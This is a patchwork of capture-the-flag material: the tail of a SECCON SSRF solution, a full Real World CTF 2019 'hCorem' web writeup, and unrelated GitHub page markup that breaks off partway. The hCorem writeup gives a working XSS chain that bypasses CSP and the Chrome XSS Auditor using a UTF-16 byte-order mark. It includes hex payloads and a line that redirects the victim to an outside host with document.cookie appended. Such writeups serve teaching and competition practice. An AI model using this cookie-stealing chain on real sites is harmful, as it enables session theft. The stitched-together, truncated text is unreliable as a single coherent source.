```GET /?url=http://172.25.0.2/flag.php ⇒ Warning: file_get_contents(http://172.25.0.2/flag.php): failed to open stream: Connection refused in /var/www/web/index.php on line 60GET /?url=http://172.25.0.3/flag.php ⇒ Oops, are you a robot or an attacker? GET /?url=http://172.25.0.4/flag.php ⇒ Warning: file_get_contents(http://172.25.0.4/flag.php): failed to open stream: Host is unreachable in /var/www/web/index.php on line 60```
↓
The `nginx` IP address was found to be `172.25.0.3`
---
### 2.DNS settings
Set two IP addresses on the DNS server
↓
```localhost.my_server A 172.25.0.3localhost.my_server A (my_server_IP_address)```
---
### 3.Get flag
`GET /?url=http://localhost.my_server/flag.php`
↓
`SECCON{what_a_easy_bypass_314208thg0n423g}` |
# hCorem - Real World CTF 2019 Quals
## Introduction
hCorem is a web task. The goal is to exploit a vulnerable script to inject anXSS and retrieve the cookie of an up-to-date browser (Chrome v77.0.3865.75)
An archive containing the files required to build a Docker container of the taskis provided. It contains the following files:
```.├── docker-compose.yaml├── dockerfile-php├── hcorem.conf├── html│ ├── api.php│ ├── hcorem.js│ └── index.html└── nginx.conf```
## Source code analysis
The source code contains 3 files. The code is straightforward, and it isrelatively easy to find the vulnerability:
```php $success, 'message' => $message, 'data' => $data]; if ($callback) { echo sprintf("%s(%s)", $callback, json_encode($_data)); } else { echo json_encode($_data); }}
switch ($_SERVER['PATH_INFO']) { case '/qwq': response([ 'title' => 'uwu', ]); break; default: header(sprintf("%s 404 Not Found", $_SERVER['SERVER_PROTOCOL'])); die('api not found.');}```
Accessing the page `/api.php/qwq?callback=foobar` will print `foobar({...})`,resulting in a XSS vulnerability.
## Security protections
The vulnerability identified is the most basic case of a reflected XSS. However,the web server is configured to send the following security headers:
- `X-XSS-Protection`- `Content-Security-Policy`- `X-Frame-Options`- `X-Content-Type-Options`- `Referrer-Policy`
The two first headers prevent the XSS from being exploited.
### Content-Security-Policy
The Content-Security-Policy (CSP) header is set to:`default-src 'self'; object-src 'none'; base-uri 'none';`
This means that resources can only be loaded from the same domain (`self`),except for objects that cannot be loaded at all.
The bypass for CSP is to include the API again. The following payload will showan alert box on Firefox (where the second protection is not present):```html<script src="/api.php/qwq?callback=alert(1)//"></script>```
### X-XSS-Protection
The X-XSS-Protection header is set to: `1; mode=block`
This informs Chrome to enable XSS Auditor, in blocking mode.
XSS Auditor is a feature that prevents reflected XSS attacks: if `<script>...`is present both in the GET/POST variables and in the body, the browser willidentify the request as exploiting a reflected XSS and will block the page.
One of the ideas we had to bypass XSS Auditor was to trick the browser byspecifying a different encoding. This idea is backed by the name of the task(`hCorem` which is `Chrome` spelled in middle endian)
It is possible to change the encoding of a page to UTF-8, UTF-16BE or UTF16-LEby putting a Byte Order Mark (BOM) before the document:- 0xEF 0xBB 0xBF for UTF-8- 0xFE 0xFF for UTF-16BE- 0xFF 0xFE for UTF-16LE
([Source: Encoding, Living Standard §6. Hooks for standards](https://encoding.spec.whatwg.org/#specification-hooks))
The following payload (not URL-encoded for readability) bypasses XSS auditor andtriggers an alert:```00000000: ff fe 31 00 3c 00 73 00 63 00 72 00 69 00 70 00 ..1.<.s.c.r.i.p.00000010: 74 00 3e 00 61 00 6c 00 65 00 72 00 74 00 28 00 t.>.a.l.e.r.t.(.00000020: 31 00 29 00 3c 00 2f 00 73 00 63 00 72 00 69 00 1.).<./.s.c.r.i.00000030: 70 00 74 00 3e 00 p.t.>.```
### Combining both
By combining the bypasses found in the two previous sections, it is possible toexecute JavaScript code on the challenge's website:```00000000: ff fe 31 00 3c 00 73 00 63 00 72 00 69 00 70 00 ..1.<.s.c.r.i.p.00000010: 74 00 20 00 73 00 72 00 63 00 3d 00 27 00 2f 00 t. .s.r.c.=.'./.00000020: 61 00 70 00 69 00 2e 00 70 00 68 00 70 00 2f 00 a.p.i...p.h.p./.00000030: 71 00 77 00 71 00 3f 00 63 00 61 00 6c 00 6c 00 q.w.q.?.c.a.l.l.00000040: 62 00 61 00 63 00 6b 00 3d 00 61 00 6c 00 65 00 b.a.c.k.=.a.l.e.00000050: 72 00 74 00 25 00 32 00 38 00 31 00 25 00 32 00 r.t.%.2.8.1.%.2.00000060: 39 00 25 00 32 00 46 00 25 00 32 00 46 00 27 00 9.%.2.F.%.2.F.'.00000070: 3e 00 3c 00 2f 00 73 00 63 00 72 00 69 00 70 00 >.<./.s.c.r.i.p.00000080: 74 00 3e 00 t.>.```
## Retrieving the cookies
The goal of this task is to retrieve the cookie of an headless browser.
The easiest way to retrieve them is to redirect the browser with`document.location.href`. Unlike AJAX calls, this redirection is not subject toCSP.
The payload used to steal cookies is the following:```jsdocument.location.href = "https://xer.forgotten-legends.org/" + document.cookie//```
While being very simple, it is very effective. As soon as the bot executes thescript, it sends a request to a server where the cookie can be found in thelogs:```52.8.91.113 - - [16/Sep/2019:01:04:08 +0200] "GET /flag=rwctf%7BJAME_TIME_FOR_THE_FINAL._.?} HTTP/2.0" 404 170 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.75 Safari/537.36"```
**Flag**: `rwctf{JAME_TIME_FOR_THE_FINAL._.?}`
## Appendices### encode.phpThe following script has been used to generate an URL-encoded payload:```php</script>", rawurlencode($script));
$buffer = "\xFF\xFE1";
for($i = 0; $i < strlen($payload); $i++) $buffer .= "\x00" . $payload[$i];
echo rawurlencode($buffer . "\x00");``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf/2019-10-12-hitcon/crypto_in_the_shell at master · p4-team/ctf · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="E092:68DA:20B3B718:21B06881:641223FB" data-pjax-transient="true"/><meta name="html-safe-nonce" content="67f667ddbd38293a21954bb8ee145f27c1c998a7fee1b168a21cec61903ba205" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFMDkyOjY4REE6MjBCM0I3MTg6MjFCMDY4ODE6NjQxMjIzRkIiLCJ2aXNpdG9yX2lkIjoiODgwMTIzNjgyNzA0NDQ1NTQxOSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="fd133b5077cd633e765c79b66185fbed97f22936b9d14c9b7223bd41cba48e38" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:42933477" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Ctf solutions from p4 team. Contribute to p4-team/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3c8f949ae46a4ff062dd50a7d6bb3896dc418e95cbef6315c2e05db1c19b7c58/p4-team/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/2019-10-12-hitcon/crypto_in_the_shell at master · p4-team/ctf" /><meta name="twitter:description" content="Ctf solutions from p4 team. Contribute to p4-team/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3c8f949ae46a4ff062dd50a7d6bb3896dc418e95cbef6315c2e05db1c19b7c58/p4-team/ctf" /><meta property="og:image:alt" content="Ctf solutions from p4 team. Contribute to p4-team/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/2019-10-12-hitcon/crypto_in_the_shell at master · p4-team/ctf" /><meta property="og:url" content="https://github.com/p4-team/ctf" /><meta property="og:description" content="Ctf solutions from p4 team. Contribute to p4-team/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/p4-team/ctf git https://github.com/p4-team/ctf.git">
<meta name="octolytics-dimension-user_id" content="14492970" /><meta name="octolytics-dimension-user_login" content="p4-team" /><meta name="octolytics-dimension-repository_id" content="42933477" /><meta name="octolytics-dimension-repository_nwo" content="p4-team/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="42933477" /><meta name="octolytics-dimension-repository_network_root_nwo" content="p4-team/ctf" />
<link rel="canonical" href="https://github.com/p4-team/ctf/tree/master/2019-10-12-hitcon/crypto_in_the_shell" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 